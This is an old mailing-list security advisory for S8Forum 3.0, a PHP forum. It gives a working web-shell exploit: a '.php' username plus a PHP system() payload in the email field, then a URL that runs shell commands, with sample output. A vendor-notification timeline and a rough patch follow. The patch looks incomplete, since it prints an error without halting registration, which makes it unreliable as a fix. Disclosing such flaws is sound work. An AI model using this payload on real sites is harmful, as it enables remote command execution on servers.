s8forum.txt

`--0-1583051551-1041748889=:62186  
Content-Type: text/plain; charset=us-ascii  
  
  
INFORMATIONS :  
=============  
  
- Product : S8Forum  
- Tested version : 3.0 maybe other versions.  
- Website : http://www.kellishaver.com/  
Vendor Status: not informed yet !!!  
- Problem : A security vulnerability in S8Forum  
  
PROBLEM :  
=========  
  
This forum writen by PHP. It doesn't use database, instead that it creates new file with the name of the registered user then save it in (users) directory without extention.  
  
The programm doesn't check user's intries, like user name, email..etc!. This bug able us to run some commands on the server!.  
  
EXPLOIT :  
=========  
  
- go to Register  
  
- insert in Username:  
any_name.php   
NOTE: .php :)  
  
- in password : any_pasword.  
  
- in E-Mail:  
  
<? system($cmd); ?>  
  
or any code :(  
  
- now go to this URL:  
  
http://sitename/s8forumfolder/users/any_name.php?cmd=uname%20-a  
  
------ out ---  
  
evil.php:c4ca4238a0b923820dcc509a6f75849b Linux xxx.xxx.net 2.4.18 #2 SMP Mon Nov 18 16:50:02 CST 2002 i686 unknown   
  
------ out ---  
  
  
  
SOLUTION :  
==========  
  
open register.php  
  
- step1 find this lines:  
  
  
case 'registration_confirm':  
// what to do with the form data   
  
include("settings/header.php");  
  
  
- The next step add below:  
  
  
if(!eregi("^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,3})$", $email) && $email != "") {   
echo "<p><font size=\"4\" color=\"#FF0000\">Please enter a valid email address. Press the back button and correct it.</font></p>";   
  
}  
if(strstr($uname, "."))  
echo "<p><font size=\"4\" color=\"#FF0000\">Please enter a valid username. Press the back button and correct it.</font></p>";  
break;  
  
  
  
NOTE :  
======  
S8Forum author has been notified on Sun 17/11 2002. Another mail was sent on 22/12 2002. No answer so far, no new release, no patch to fix these issues.  
  
  
  
PROVIDED BY :  
=============  
Nasser.M.Sh  
[email protected]  
  
  
  
---------------------------------  
Do you Yahoo!?  
Yahoo! Mail Plus - Powerful. Affordable. Sign up now  
--0-1583051551-1041748889=:62186  
Content-Type: text/html; charset=us-ascii  
  
<P>INFORMATIONS :<BR>=============</P>  
<P>- Product : S8Forum<BR>- Tested version : 3.0 maybe other versions.<BR>- Website : <A href="http://www.kellishaver.com/">http://www.kellishaver.com/</A><BR>Vendor Status: not informed yet !!!<BR>- Problem : A security vulnerability in S8Forum</P>  
<P>PROBLEM :<BR>=========</P>  
<P>This forum writen by PHP. It doesn't use database, instead&nbsp; that it creates new file with the name of the registered user then save it in (users) directory without extention.</P>  
<P>The programm doesn't check user's intries, like user name, email..etc!. This bug able us to run some commands on the server!.</P>  
<P>EXPLOIT :<BR>=========</P>  
<P>- go to Register</P>  
<P>- insert in Username:<BR>any_name.php&nbsp;&nbsp; <BR>NOTE: .php :)</P>  
<P>- in password : any_pasword.</P>  
<P>- in E-Mail:</P>  
<P><? system($cmd); ?></P>  
<P>or any code :(</P>  
<P>- now go to&nbsp; this URL:</P>  
<P><A href="http://sitename/s8forumfolder/users/any_name.php?cmd=uname%20-a">http://sitename/s8forumfolder/users/any_name.php?cmd=uname%20-a</A></P>  
<P>------ out ---</P>  
<P>evil.php:c4ca4238a0b923820dcc509a6f75849b Linux xxx.xxx.net 2.4.18 #2 SMP Mon Nov 18 16:50:02 CST 2002 i686 unknown </P>  
<P>------ out ---</P>  
<P>&nbsp;</P>  
<P>SOLUTION :<BR>==========</P>  
<P>open register.php</P>  
<P>- step1 find this lines:</P>  
<P><BR>case 'registration_confirm':<BR>// what to do with the form data </P>  
<P>include("settings/header.php");</P>  
<P><BR>- The next step add below:</P>  
<P><BR>&nbsp;if(!eregi("^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,3})$",&nbsp; $email) &&&nbsp; $email&nbsp; !=&nbsp; "") { <BR>echo "<p><font size=\"4\" color=\"#FF0000\">Please enter a valid email address. Press the back button and correct it.</font></p>";&nbsp;&nbsp;<BR>&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; }<BR>if(strstr($uname, "."))<BR>echo "<p><font size=\"4\" color=\"#FF0000\">Please enter a valid username. Press the back button and correct it.</font></p>";<BR>&nbsp;break;</P>  
<P>&nbsp;</P>  
<P>NOTE :<BR>======<BR>S8Forum author has been notified on Sun 17/11 2002. Another mail was sent on 22/12 2002. No answer so far, no new release, no patch to fix these issues.</P>  
<P>&nbsp;</P>  
<P>PROVIDED BY :<BR>=============<BR>Nasser.M.Sh<BR><A href="mailto:[email protected]">[email protected]</A></P><p><br><hr size=1>Do you Yahoo!?<br>  
<a href="http://rd.yahoo.com/mail/mailsig/*http://mailplus.yahoo.com">Yahoo! Mail Plus</a> - Powerful. Affordable. <a href="http://rd.yahoo.com/mail/mailsig/*http://mailplus.yahoo.com">Sign up now</a>  
--0-1583051551-1041748889=:62186--  
`